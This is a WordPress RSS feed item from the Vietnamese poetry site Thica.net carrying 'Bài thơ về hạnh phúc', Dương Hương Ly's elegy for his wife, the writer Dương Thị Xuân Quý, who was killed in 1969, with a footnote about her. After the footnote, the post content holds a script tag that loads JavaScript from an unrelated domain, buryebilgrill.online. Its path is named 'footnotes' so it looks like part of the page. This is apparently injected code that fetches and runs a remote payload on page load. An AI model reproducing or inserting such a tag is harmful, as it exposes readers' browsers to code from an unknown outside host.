<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netBài thơ &quot;Bài thơ về hạnh phúc&quot; của nhà thơ Dương Hương Ly - Thica.net</title>
	<atom:link href="https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Bài thơ về hạnh phúc</title>
		<link>https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/</link>
		<comments>https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 17:13:41 +0000</pubDate>
		<dc:creator><![CDATA[Dương Hương Ly]]></dc:creator>
				<category><![CDATA[Dương Hương Ly]]></category>
		<category><![CDATA[Cuộc sống]]></category>
		<category><![CDATA[Hi sinh]]></category>
		<category><![CDATA[Người lính]]></category>
		<category><![CDATA[Tuổi trẻ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=3913</guid>
		<description><![CDATA[<p>[...]</p>
<p>Nhớ chăng em, ngày mở màn chiến dịch Đông Xuân <br />
Em lên đường phơi phới bước chân <br />
B.52 bom nghìn tấn dội <br />
Kìa dáng em băng rừng bước vội <br />
Vẫn nụ cười tươi tắn ấy trên môi. <br />
Thôn 6 Bình Dương bãi cát sóng dồi <br />
Nắng long lanh trong mắt người bám biển <br />
Giặc mới lui càn khi em vừa đến <br />
Bà mẹ già kể chuyện chặn xe tăng <br />
Quanh những bờ dương bị giặc san bằng <br />
Đã lại mở những chiến hào gai góc <br />
Những em bé, dưới mưa bom, vẫn đi làm đi học <br />
Những vồng khoai ruộng lúa vẫn xanh tràn <br />
Trong một góc vườn cháy khét lửa Na-pan <br />
Em sửng sốt gặp một nhành hoa cúc. </p>
<p>Và em gọi đó là hạnh phúc... </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/">Bài thơ về hạnh phúc</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>(Tưởng nhớ XQ <sup><a href="https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/#footnote_0_3913" id="identifier_0_3913" class="footnote-link footnote-identifier-link" title="Đ&acirc;y l&agrave; b&agrave;i thơ t&aacute;c giả Dương Hương Ly (một b&uacute;t danh kh&aacute;c của B&ugrave;i Minh Quốc) viết về vợ &ocirc;ng, nh&agrave; văn &ndash; liệt sĩ Dương Thị Xu&acirc;n Qu&yacute;, người đ&atilde; bị l&iacute;nh Đại H&agrave;n bắn chết v&agrave;o năm 1969 trong một trận c&agrave;n tại Duy Xuy&ecirc;n, tỉnh Quảng Nam.">1</a></sup> thân yêu) </em></p><p>I<br />Thôi em nằm lại<br />Với đất lành Duy Xuyên<br />Trên mồ em có mùa xuân ở mãi<br />Trời chiến trường vẫn một sắc xanh nguyên.   </p><p>Trời chiến trường không một phút bình yên<br />Súng nổ gấp. Anh lên đường đuổi giặc<br />Lấy nỗi đau vô cùng làm sức mạnh vô biên<br />Bước truy kích đạp trăm rào gai sắc<br />Ôi mũi lê này hôm nay sao sáng quắc<br />Anh mất em như mất nửa cuộc đời<br />Nỗi đau anh không thể nói bằng lời<br />Một ngọn lửa thâm trầm âm ỉ cháy<br />Những viên đạn quân thù bắn em, trong lòng anh sâu xoáy<br />Anh bàng hoàng như ngỡ trái tim rơi<br />Như bỗng tắt vầng mặt trời hạnh phúc.<br />Nhưng em ạ, giây phút này chính lúc<br />Anh thấy lòng anh tỉnh táo lạ thường<br />Nhằm thẳng quân thù, mắt không giọt lệ vương<br />Anh nổ súng. </p><p>II<br />Hạnh phúc là gì? Bao lần ta lúng túng<br />Hỏi nhau hoài mà nghĩ mãi vẫn chưa ra<br />Cho đến ngày cất bước đi xa<br />Miền Nam gọi, hai chúng mình có mặt. </p><p>Nhớ chăng em, cái mùa mưa đói quay đói quắt<br />Mỗi bữa chia nhau nửa bát măng rừng<br />Em xanh gầy, gùi sắn nặng trên lưng<br />Môi tái ngắt, mái tóc mềm đẫm ướt<br />Bao giốc cao em cần cù đã vượt<br />Và mỗi lần ngồi nghỉ, em nhìn anh<br />Em nói tới tương lai tươi thắm ngọt lành<br />Em nói tới những điều em định viết<br />Giữa hai cơn đau em ngồi ghi chép<br />Con sông Giàng gầm réo miên man<br />Nước lũ về&#8230; Trang giấy nhỏ mưa chan<br />Em vẫn viết: lòng dạt dào cảm xúc. </p><p>Và em gọi đó là hạnh phúc&#8230; </p><p>Nhớ chăng em, ngày mở màn chiến dịch Đông Xuân<br />Em lên đường phơi phới bước chân<br />B.52 bom nghìn tấn dội<br />Kìa dáng em băng rừng bước vội<br />Vẫn nụ cười tươi tắn ấy trên môi.<br />Thôn 6 Bình Dương bãi cát sóng dồi<br />Nắng long lanh trong mắt người bám biển<br />Giặc mới lui càn khi em vừa đến<br />Bà mẹ già kể chuyện chặn xe tăng<br />Quanh những bờ dương bị giặc san bằng<br />Đã lại mở những chiến hào gai góc<br />Những em bé, dưới mưa bom, vẫn đi làm đi học<br />Những vồng khoai ruộng lúa vẫn xanh tràn<br />Trong một góc vườn cháy khét lửa Na-pan<br />Em sửng sốt gặp một nhành hoa cúc. </p><p>Và em gọi đó là hạnh phúc&#8230; </p><p>Như chồi biếc gặp mưa xuân, như chim én say trời<br />Em mải mê, đi giữa bao người<br />Xuyên Thọ, Xuyên Châu, Xuyên Hòa, Xuyên Phú&#8230;<br />Những mảnh đất anh hùng quyến rũ<br />Phút giây đầu đã ràng buộc đời em<br />Như tự lọt lòng từng biết mấy thân quen<br />Em nhỏ giao liên, mẹ hiền trụ bám<br />Cô du kích dịu dàng dũng cảm<br />Sông Thu Bồn hằng xao động tâm tư<br />Có tiếng hò như thực như hư<br />Em đã đến, tắm mình trong sóng nước<br />Sông kể em nghe chuyện đôi bờ thủa trước<br />Em mở mắt nhìn kinh ngạc những làng thôn<br />Và kêu lên khi được thấy cội nguồn<br />Mỗi sự tích trên đất này thắng Mỹ.<br />Em đã gặp bao anh hùng dũng sĩ<br />Đã cùng họ sẻ chia<br />Cọng rau lang bên miệng hố bom đìa<br />Phút căng thẳng khi vòng vây giặc siết<br />Nỗi thống khổ ngút ngàn không kể hết<br />Của một thời nô lệ đau thương<br />Em lớn lên bên họ can trường<br />Giữa bom gào đạn réo<br />Em đã thấy những tâm hồn tuyệt vời trong trẻo<br />Những con người như ánh sáng lung linh<br />Mỗi đêm ra đi giản dị hiến mình<br />Để làm nên buổi mai đầy nắng<br />Em bối rối, em sững sờ đứng lặng<br />Vẻ đẹp này em chưa biết đặt tên<br />Thức dậy bao điều mới mẻ trong em<br />Nơi ngọn bút nghe cuộc đời thôi thúc. </p><p>Và em gọi đó là hạnh phúc&#8230; </p><p>III<br />Em ra đi chẳng để lại gì<br />Ngoài ánh mắt cười lấp lánh sau hàng mi<br />Và anh biết khi bất thần trúng đạn<br />Em đã ra đi với mắt cười thanh thản<br />Bởi được góp mình làm ánh sáng ban mai<br />Bởi biết mình có mặt ở tương lai.<br />Anh sẽ sống đẹp những ngày em chưa kịp sống<br />Sẽ yêu trọn những gì em chưa kịp yêu<br />Em trong anh là mùa xuân náo động<br />Từ phút này càng rực rỡ bao nhiêu.</p><ol class="footnotes"><li id="footnote_0_3913" class="footnote">Đây là bài thơ tác giả Dương Hương Ly (một bút danh khác của <a href="http://www.thica.net/category/tat-ca/bui-minh-qu%E1%BB%91c/">Bùi Minh Quốc</a>) viết về vợ ông, nhà văn &#8211; liệt sĩ Dương Thị Xuân Quý, người đã bị lính Đại Hàn bắn chết vào năm 1969 trong một trận càn tại Duy Xuyên, tỉnh Quảng Nam.</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/">Bài thơ về hạnh phúc</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2010/05/01/bai-tho-ve-hanh-phuc/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">3913</post-id>	</item>
	</channel>
</rss>
